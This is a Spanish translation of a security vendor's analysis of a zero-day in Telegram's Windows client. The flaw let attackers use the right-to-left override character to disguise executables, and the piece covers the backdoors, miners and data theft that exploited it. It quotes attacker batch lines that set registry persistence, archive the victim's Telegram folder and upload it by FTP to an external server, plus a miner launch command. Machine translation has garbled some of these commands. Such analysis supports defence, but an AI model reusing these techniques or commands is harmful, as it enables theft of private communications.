• LOGIN
  • No hay productos en el carrito.

Zero-day vulnerabilidad en Telegram

Los cibercriminales explotaron la falla de Telegram para lanzar ataques multipropósito.

En octubre de 2017, nos enteramos de una vulnerabilidad en el cliente de Windows de Telegram Messenger que estaba siendo explotada en la naturaleza. Implica el uso de un clásico ataque de anulación de derecha a izquierda cuando un usuario envía archivos a través del servicio de mensajería.

Anulación de derecha a izquierda en pocas palabras

El carácter especial no imprimible de derecha a izquierda (RLO) se usa para invertir el orden de los caracteres que vienen después de ese carácter en la cadena. En la tabla de caracteres Unicode, se representa como ‘U + 202E’; un área de uso legítimo es cuando se escribe texto árabe. En un ataque, este personaje puede usarse para confundir a la víctima. Generalmente se usa cuando se muestra el nombre y la extensión de un archivo ejecutable: una pieza de software vulnerable a este tipo de ataque mostrará el nombre del archivo de forma incompleta o en reversa.

Lanzando un ataque a Telegram

A continuación se muestra una cuenta de cómo se explotó esta vulnerabilidad en Telegram:

    • El cibercriminal prepara el malware para ser enviado en un mensaje. Por ejemplo, un archivo JS se renombra de la siguiente manera:

evil.js -> photo_high_re * U + 202E * gnp.js
Donde * U + 202E * es el carácter RLO para que Telegram muestre la cadena restante gnp.js en reversa. Tenga en cuenta que esta operación no cambia el archivo real, todavía tiene la extensión * .js.

  • El atacante envía el mensaje, y – ¡sorpresa! – el destinatario ve un archivo de imagen PNG entrante en lugar de un archivo JS:

  • Cuando el usuario hace clic en este archivo, se muestra la notificación de seguridad estándar de Windows:

Es importante destacar que esta notificación solo se muestra si no se ha desactivado en la configuración del sistema. Si el usuario hace clic en ‘Ejecutar’, se inicia el archivo malicioso.

Explotación en la naturaleza

Después de conocer la vulnerabilidad, comenzamos a investigar casos en los que realmente se explotaba. Estos casos entran en varios escenarios generales.

Control remoto

El objetivo de este tipo de ataque es tomar el control del sistema de la víctima e implica que el atacante estudie el entorno del sistema de destino y la instalación de módulos adicionales.

Diagrama de flujo de ataque

En la primera etapa, se envía un descargador al destino, que está escrito en .Net, y usa la API de Telegram como el protocolo de comando:

Con este token y API, es fácil encontrar el bot de Telegram a través del cual se controlan los sistemas infectados:

Cuando se inicia, modifica la clave de registro de inicio para lograr la persistencia en un sistema y copia su archivo ejecutable en uno de los directorios, dependiendo del entorno:

Luego comienza a verificar cada dos segundos los comandos que llegan desde el control bot. Tenga en cuenta que los comandos se implementan en ruso:

La lista de comandos admitidos muestra que el bot puede desplegar silenciosamente herramientas malintencionadas arbitrarias como puertas traseras, registradores y otros programas maliciosos en el sistema de destino. A continuación se incluye una lista completa de comandos compatibles:

Mando
(Traducción en inglés)
Función
“Онлайн
( En línea)
Enviar lista de archivos en el directorio para controlar bot.
“Запус
( Lanzamiento )
Inicie el archivo ejecutable usando Process.Start ().
“Логгер
( Logger)
Compruebe si el proceso se está ejecutando, descargue logg.zip , descomprímalo, elimine el archivo y ejecute su contenido.
“Скачать”
( Descargar )
Descargue el archivo en su propio directorio.
“Eliminar
( Eliminar )
Eliminar archivo de su propio directorio.
“Распаковать”
( Desempaquetar )
Descomprime el archivo en su propio directorio usando la contraseña especificada.
Eliminar
(Matar)
Termine el proceso especificado usando process.Kill ()
Скачат
(Descargar)
Igual que ‘Descargar’ (ver arriba), con diferentes comandos de análisis.
Запуск
(Lanzamiento)
Igual que ‘Launch’ (ver arriba), con diferentes comandos de análisis.
Eliminar
(Borrar)
Lo mismo que ‘Eliminar’ (ver arriba), con diferentes comandos de análisis.
Распаковать
(Deshacer)
Igual que ‘Unpack’ (ver arriba), con diferentes comandos de análisis.
Процессы
(Procesos)
Envíe una lista de comandos que se ejecutan en la PC de destino para controlar bot.

Un análisis de estos comandos muestra que este cargador puede estar diseñado para descargar otra pieza de malware, posiblemente un registrador que pueda espiar al usuario víctima.

Mineros y más

En medio del auge de las criptomonedas, los ciberdelincuentes se están alejando cada vez más del ‘robo clásico’ a un nuevo método para ganar dinero con sus víctimas, es decir, minar criptomonedas utilizando los recursos de una computadora infectada. Todo lo que tienen que hacer es ejecutar un cliente de minería en la computadora de la víctima y especificar los detalles de su billetera de criptomoneda.

Escenario 1

Diagrama de flujo de ataque

En la primera etapa del ataque, se utiliza un archivo SFX con un script que inicia un archivo ejecutable:

Ruta =% temp% \ adr
Configuración =% temp% \ adr \ run.exe
Silencioso = 1
Sobrescribir = 2

Este archivo run.exe es, de hecho, un archivo BAT. El script por lotes, después de la extracción, se ve así:

Como podemos ver, el programa malicioso primero abre un archivo señuelo, en este caso se trata de una imagen para adormecer a la víctima con una falsa sensación de seguridad.

Luego, dos mineros lanzan uno tras otro. Se inician como servicios con la ayuda de la utilidad nssm.exe , que también está contenida en el mismo archivo SFX.

  • nheq.exe: un minero de Equihash para NiceHash (en este caso específico, extrajo Zcash). Puede usar los recursos tanto de la CPU como del acelerador de gráficos:
  • taskmgn.exe: otro minero popular que implementa el algoritmo CryptoNight. Minas Fantomcoin y Monero. Hay una cadena específica conocida con ruta pdb:

Hemos visto varias versiones de este script por lotes, algunas de las cuales tienen características adicionales:

Esta versión específica desactiva las características de seguridad de Windows, luego inicia sesión en un servidor FTP malicioso, descarga una carga útil y lo inicia. En este caso, la carga útil era un archivo SFX que contiene otros mineros y un cliente de Remote Manipulator System (RMS), un análogo de TeamViewer. Usando los scripts de AutoIt, el malware implementa RMS en la computadora de destino para su posterior acceso remoto:

El diagrama de flujo del ataque es aproximadamente el siguiente:

Hemos examinado este servidor FTP y hemos encontrado varias cargas útiles más similares, que posiblemente estén cargadas por otras versiones de este malware.

El archivo address4.exe merece una mención especial. Al igual que los otros archivos, es un archivo SFX con los siguientes contenidos:

Todos los componentes llamados st * .exe son archivos PE ejecutables convertidos de forma similar a los scripts por lotes.

El script SFX inicia el componente st1.exe:

Ruta =% temp% / dirección
Configuración =% temp% / adress / st1.exe
Silencioso = 1
Sobrescribir = 2

st1.exe agrega st2.exe al inicio del sistema al escribir el registro apropiado en el registro del sistema:

reg add HKEY_CURRENT_USER \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ RunOnce / v RUN1 / d% temp% \ adress \ st2.exe / f

Por lo tanto, el archivo st2.exe se inicia cuando el sistema se inicia la próxima vez:

TIMEOUT / T 10 / NOBREAK # Espera a que Telegram se lance
chcp 1251
tskill telegram
taskkill / IM telegram.exe #Termina los procesos de Telegram
md% temp% \ sss
cd% temp% \ sss #Crea un directorio temporal
“% Temp% \ adress \ WinRAR.exe” A -ibck -inul -r -agYY-mm-dd-hh-mm-ss “% temp% \ sss \ 1.rar” “% appdata% \ Telegram Desktop” # Empaqueta el directorio de Telegram en un archivo RAR
TIMEOUT / T 60 / NOBREAK
:empezar
ping -n 1 ya.ru |> nul find / i “TTL =” && (inicio “”% temp% / adress / st3.exe) || (ping 127.1 -n 2 & Goto: begin) #Comprueba la conexión a Internet y ejecuta st3.exe

Como era de esperar, st3.exe inicia sesión en el servidor FTP malicioso y carga el archivo RAR que se creó anteriormente:

@echo XXXXXXXX> command.txt
@echo XXXXXXXX >> command.txt
@echo binary >> command.txt
@echo mput% temp% \ sss \ *. rar >> command.txt
@echo quit >> command.txt
ftp -s: command.txt -i free11.beget.com
del command.txt
attrib% temp% / dirección + H
attrib% temp% / dirección \ * + H

En ese servidor FTP, descubrimos varios archivos de este tipo que contenían directorios de Telegram robados de las víctimas:

Cada volcado contiene, además de los ejecutables y archivos de utilidad del cliente Telegram, un caché local encriptado que contiene diferentes archivos utilizados en las comunicaciones personales: documentos, videos y registros de audio y fotos.

Escenario # 2

Al igual que en la situación anterior, un ataque comienza con la apertura de un archivo SFX y el lanzamiento de un VBScript que contiene. Su trabajo principal es abrir una imagen señuelo para distraer al usuario, y luego descargar e iniciar la carga útil:

La carga útil es un archivo SFX con el siguiente script:

svchost.vbs es un script que controla el lanzamiento del minero CryptoNight (csrs.exe). Monitorea la lista de tareas; si detecta un administrador de tareas (taskmgr.exe, processhacker.exe) en esa lista, finaliza el proceso del minero y lo vuelve a iniciar cuando se cierra el administrador de tareas.

La secuencia de comandos contiene los comentarios apropiados:

El minero en sí se inicia de la siguiente manera:

WshShell.Run “csrs.exe -a cryptonight -o estrato + tcp: //xmr.pool.minergate.com: 45560 -u XXXXXXXXX@yandex.ru -px -dbg -1″ & cores, 0

La dirección del grupo está asociada con la criptomoneda Monero.

En el servidor en sí, además de los archivos de carga especificados, encontramos archivos SFX similares con mineros:

Conclusión

Parece que solo los ciberdelincuentes rusos eran conscientes de esta vulnerabilidad, con todos los casos de explotación detectados en Rusia. Además, mientras llevamos a cabo una investigación detallada de estos ataques, descubrimos muchos artefactos que apuntaban a la participación de ciberdelincuentes rusos.

No tenemos información exacta sobre cuánto tiempo y qué versiones de los productos de Telegram se vieron afectadas por la vulnerabilidad. Lo que sí sabemos es que su explotación en clientes de Windows comenzó en marzo de 2017. Informamos a los desarrolladores de Telegram del problema, y ​​la vulnerabilidad ya no se produce en los productos de Telegram.

Este documento presenta solo aquellos casos que informaron los sistemas de telemetría de Kaspersky Lab. El alcance completo y otros métodos de explotación siguen siendo desconocidos.

IoC

MD5

Primera etapa

650DDDE919F9E5B854F8C375D3251C21
C384E62E483896799B38437E53CD9749
FA391BEAAF8B087A332833E618ABC358
52F7B21CCD7B1159908BCAA143E27945
B1760E8581F6745CBFCBE76FBD0ACBFA
A662D942F0E43474984766197288845B

Cargas útiles

B9EEC74CA8B14F899837A6BEB7094F65
46B36F8FF2369E883300F472694BBD4D
10B1301EAB4B4A00E7654ECFA6454B20
CD5C5423EC3D19E864B2AE1C1A9DDBBC
7A3D9C0E2EA27F1B96AEFED2BF8971A4
E89FDDB32D7EC98B3B68AB7681FACCFC
27DDD96A87FBA2C15B5C971BA6EB80C6
844825B1336405DDE728B993C6B52A83
C6A795C27DEC3F5559FD65884457F6F3
89E42CB485D65F71F62BC1B64C6BEC95
0492C336E869A14071B1B0EF613D9899
2CC9ECD5566C921D3876330DFC66FC02
1CE28167436919BD0A8C1F47AB1182C4

Servidores C2

http: //nord.adr [.] com [.] ua /

Nombres de archivos

nombre? gpj.exe
nombre? gpj.rar
dirección? gpj.scr
address_? gpj.scr
photoadr? gepj.scr

 

Fuente: Securelist.com

13/02/2018
Instituto de Ciberseguridad © 2018